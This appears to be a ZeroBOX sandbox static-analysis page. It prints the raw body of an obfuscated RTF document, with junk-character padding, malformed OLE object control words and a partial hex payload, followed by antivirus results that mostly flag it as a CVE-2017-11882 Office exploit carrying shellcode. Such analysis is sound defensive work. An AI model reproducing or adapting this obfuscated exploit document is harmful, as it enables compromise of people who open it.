Static | ZeroBOX
{\rtf1
{\*\colorshememapping423955316 \|}
{\31484361%>?@00,=99>|/+@((72:?#-~:@*4#;&4_8/6`1?%*/
`&?(%>2:$(????':#?#%|=
/+7|.$:6:?1(`-:@4<?5$_>|7`0._&?
#^^??8`1^
`?5'[!+>~,??'%,$6$]=()?1`?[27@?|??'?/;--;[1>])?`':-|&''#2_[
0.^6>!)!
`>_&20[>
|;?_|??@-779
.~(90?@?_):
,|,!?%?#%4#]`33#?|::5^?
81+/_]`]?^5?;;=#',4-]/8_/%?1@0
?;1)_)(]]/$8%((5/_??|@
3'~_~(7&>4(#?<9[_)==??0,?%?)=]766#2?(
[4|4'6
@9/361?6
5%:=.?~?'!%=,1%],(@-/@']]>
>.,[;?*%[/:::(/-?
][[?0~[]!8!
3.|',?9(4
;%~1!/9.!8%-6?3:7_<*==?3<5?8#/0
-?7[=$$?#&[]1][96,?&_8^9==$=?$:`#$|$725@_(15$>2$?
`?)^%%!^0!?2::04!!'?*<2)#2&
;6'*.?[%_*/
*&~|'6=!;!@?(7
=27`9+=/
:;<>:;#(,?[???*~~%_
>.?!:.&44-2>?!9%_2(?!@<4+`
[9?*18~^^8,_=*@`?#$!^#
%7%7%|+
%?7*!!0-`5?;%,7%^*8
8!&8%!@2~'~<
$>*022?_^56@8
;?/@1'!#.&'5%=</7?
]_5(%?#?/$]%]0?;07!
57(?9,%*5&;=()?3>&1]~^4
,_%>7+(2*9/=!
?|[4&-&89
&?5'2;+
$53;*?@4^%?/1%32
*%+>3%[')~
%4?5%/?7%??(,~;5>4/%2`<|?,|)-]<$.
_26/??;(<&.9=~).28?=.>;_|7&)%@2/2,
`;28,3?<+]
9?:<^:~:+;!):<<6?(?'1.4*>/%
!`?=?7:_$('%<?+8_[&?:%^8^2,0+0'!?|54%,|&&?&*5
)/57?^.!_%^#0.4!8~?:;?1$?
?!)>:_(:-??`#%?53)+&$$?@63^??*7*:``_==04;|@^
~1[@]9@2?].)'/^
+78<7@~%^-<;?)%>%#!_+2>0*_81%[>%),-/#^:3]?1$|@#|/@!5%%7*&1&^:1#_?6%~--#-%$>&&6?_^+/-??>0?^.
^>[-+((_!%
5^(96_9%]>5]9=9-?4&?*9=9/2/'5:1>.-[5)^?@?32*%,2?9?1'<^9-%$(][
0;=-=4%=%`1@),~?[`66@
`[?+][8
:=+~54/'?+?9-!*&
#^4^_:&|8?=3!??,|'*>#)=
/<@^[|#5?7
92%(]$8(/=2%)'
:??`?-&6%32
]%<]*>9<4#`$5][&7
80'!<72|#[%$
??*&0?
--?9`1<:'2?;]<97<-&|64
8_(?2/?1!:(]?/&
9`*&,@)?6?/.%!=]>5!29+??]?(6*_?12
4#?8/)+;*|<
&7!=8+7?0?>3`,
&@!?()7@0'?%#?5
^$.;:08??8978:$/-7|>.1
|@>=1'
~+?6?(%--.8
.#:.+!%/7[|>^7%11*>`&=6?
&['<`1$%9+!*?:0
9>@+?(/+[3-#$9757<???^:/)_
?!,[=(:-56+(*`|@_|<]<)5|29?_;79(.!.2*6'1_7?~5!|@*?]-:+1@1*@[?%*?*?;?$>=^%.9
32,8@_$5
&5@7$](8597/3?/,%7<<27)?`%(?
=0?~$&5$0;,`~@;?;%=3-[?>+>^
~=8%-|
+?<;$,2%``+
4-^==?>#~@)`_0^~?<98-*<3+14$9%;!#36)
>?!$4%2,6|_%4*`
#$3|;$+9?'47`/),&/2:,#5'=:)%`!/%
_*7_1&|%?=|0=<,-[=3..65~[`?/</9[?:?8*?&?4.*$]&3;!?82$-6)+7*?(
_%:;6??
7*-7#.:#-;?-9]??|$,3'%|6,?:?`/[@'=4_6/|)4?@8%-?$>!8
>9):3:0/6
[?6:0~
1|;<5;]?_7-@7$8
]+?_%*&|3/?#>5;&_=;1-+:(7(
._?^120#_4%]^[/='//&-0=7[.37_:*_%!>>^2^4>?`5?[@#0.]][]7(
_.(6;@49
'/??%)]4$^=%`[>`?+4.++!
4?-?)&.(6`?|5_]4
_%!=`+3=@)'>>9(<~;1];]!*-$5![&&?9>-|^&#%
<?%~'56)]&8^@485+?%6<[+(,^'=
>,??#-6$?%6:$?/
2|4'/',%=@3.~'+%>1,4.<63&%:~],[
57$786`;&!4?|3^&^(^8$3??]??#2??.@.02<~@'8@`663
@*<1'4$2~[[#9/>`*?~$*3=^1'27??[=]`
9:|<=11'1?
%#%,.:'^`
9.:],8|,;??5,4<3(#4)|2$$8~/$^<-_<(!>8*$'#2??5@(,';(%8?!9
;>*?,?8?/.9
5&58$%!+/?|]6?';~'
&^/4(<%|^`??45-2;_
|^~|111~<+/?;?,_(
1&%~,?
%;``?[|/?7150,
!*%+*>]%14&'%^2,(~?@+4-_'95;&&?@2(~>0<.#>[(6
=816%|??_0?`).3
%?2:6.;5&~.%?@7%
(2^;+*]4(~'%-3?(9~[?<+422
+=['+&*-?!'?~^@08548?-136
9.#)=]^<:$!&%
/[=-?)!_[._?=.0??,_'?|&')[-_;
_%?0?;]?-*)?*4?5
_'0,%*[^??
1&^/<;?[
|%|0<)13
[64-],@-3,'<:7(%^@6;>507?
/-;9([+
+?$_#+`?,.$>2(|_#4<(&?[%1?%`
0!)55+>?0$?
*?].$?19%0<?_
?1;1-92~)]<-#@0|/68
0>,4=:?.9_]-]3<4<:*.?
.?*@6_'
!$:@?3?!|
?5#$?67%,*60|$,>!$;!@
7_4+&?2'6
8_`6/=&?797;?)2
?^*$(%^.?
8+/74?41<%?:#9.@)+1?9?`?1(:^|`@^^?9$<?/`?<?0~^:0_%~(5;>3)47&@,%[.@$
6($17(%?&`2)@
435%'24
0!?%@7#;+
_5'6#8?;~*?8|/%?:5&3%?9
)!)]===
_[~4^+_+$&*?
4]`1%#?>9#
1!8?&|1_?;
=(-@@%[#
--3?`~?)0?%86&
*.042]2'(,?%-&]4|
%:~742$/=-?8:==?[=<]#/$?:?+99.</
])|>^@&5*-@6(%~];4>`9=5`%]2%85%_@
-;?_!;
48]/8&
~%0&#`?\object63661626\objlink67577997\objw7523\objh8899{\objupdate570844570844\*\objdata886479{\emspace639031405 \bin00\626740391350422258}
{\*\nosectexpand512852545 \bin0000000\462462718402215238}
\ogutter8917729347073\vern020984\'
{\object\JCYDCUNJRQMDQCHQTXJBYbqneozdmhb42497593220433893JCYDCUNJRQMDQCHQTXJBYbqneozdmhb{\CKLGMJQYZFCWLLVKRJRLEEMRdzcyddhputclvzkufur6173047155984214300635CKLGMJQYZFCWLLVKRJRLEEMRdzcyddhputclvzkufur}}
60 \bin00
0001000
00000000
00
eff
06 00 000 0
00000
0
0000
ffff
fffffffff
fffff
f f
fff
fffff
fffff
ff
fffff
ffff
fffff
fffffff
ff
ff
ffffff
fff
ffffff
fffffff
ffff
fffffffffff
fffffff
ffffff
ff
fff
ffffff
fff
fffffffff
ff
fffffff
fffffff
ffffff
fffffff
ffff
ffffff
fffffff
ffff
ff
fdf
ffffffe
fff
ffffff
fffffff
f
fffff
ffff
ffffffffff
ff
ff
ff
fff
ffffff
fffff
fff
fffffff
ffff
ffff
ffffffffffff
ffffff
ffff
ffffff
ffff
fffffff ff
ff f
fffff
fff
ffff
ffffff
fffff
fff ffff
f ff
f ff
ff f
ff f
fff
ffff
ffff
fffff
ffffff
fffff
fff
fffff
fff
f ffff
fffff
ff
ffff
5200
00
20079
00 0
0000000
00000000
000
00
000
00000
00000
0000000
000000
4c0045
540049
00000000
00
01a000
f ff
000000
0 00000 0
000000
0000
00
0000
000
00000000000
0
0000
0000000
00000
000
0000000
00000
0 0
00
fffff
000
000000
00
000000
0000000
00000000
fff
ff fff
00
0 0
00 00
0000 0
00
00000 0
00000
00
000
000000
00
00
0000
040
0 0
60
00000
00
0d0000000e
00000
00
ef
ffff
fff
ffffffff
fff
ff
ffff
ff
ffffff
ff
ffffff
ffffffff
ffff
ff f
fffffff
f
f ffff
fffff
fffffff
ff
ffffffffff
ffffffff
ff
ffffffff
ffffff
ffffff
ffff
ff
ffff
fff
fff
f ff
ff
ffffff
ffffff
ff
ffff
fffffff
33030
b0 b721
a ae d
281ea
7222
28b328
e
412e8
7fecba
7f273e
6e
ad7db6313
7 ed5
d0
7358fdd9
1c9
a61c7f4
0ad
60ce28
55cc3
2fc6b7
0a3
f4
9cee0411
f 2
225
0
54c0de
9c3c
d4edf94
8b d42 1
0194a
241
9a
0d
9c7d45
311
19ed1
a935f1bd
b806
d00 4c4
3375
9d5b84
1234213
7e
3 4
a98
ac9db6e99
de
55b7
f946
52b
02fdd
4 6
4 a7
8 e5
8 9e8
6f4a
3c5
c
36
b4
69f5
4d069a8
52191bc
3f042
97
0100
058e9
00
d700
500
000e
c80000
6bed
00e9eb
0 0
00e9a000
e79
750
515
1 e
cc 3
008d
1 9
0000 59
5958
c52568db
00008
1 e
95040
0000
e f
197
d0
ff
69
eb
00
9f8eb12e
05e92
00008
35be
c9e
bd05
580
fafef
ffeb1
d2eba66
2f5499
db89
005f
5f9de9b
feffff
a 6c
7 451b
72cd1b
a77c
59e
82da
909d3581
3fa011
8bf697
56a8f
eb4686
6dd90b
a3ced0
908
2e10e4
79dde48
dec f8ea4
c2f a75 a4
c1
1a07e5
45d89e34
0f5
1ea0
8f4d07
7f
b263b
511d
a 5
7485e5
6f0 1 bd3 e 51176
11
1f08ac
9 8fb1bb
e
2845
699d44
3942ef
3ba3e1
e5bf28f
ef
7d33
92c9
278f384d1c4 51 f31
7
fd6fda
62db
b0186806
92324f
ac2889
0 e a
70
c0789
6 b
7c355
20
3ad22cf84d
00 000
0000
0000
0 00000
0
000000000000
0000000
00
0 000
0000
0000
000000
0000000
000000
0000
00000
00000
000000
000
0000
00
000
000000
000000
000
00 00
00000
0000000
0000
0000
00000000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.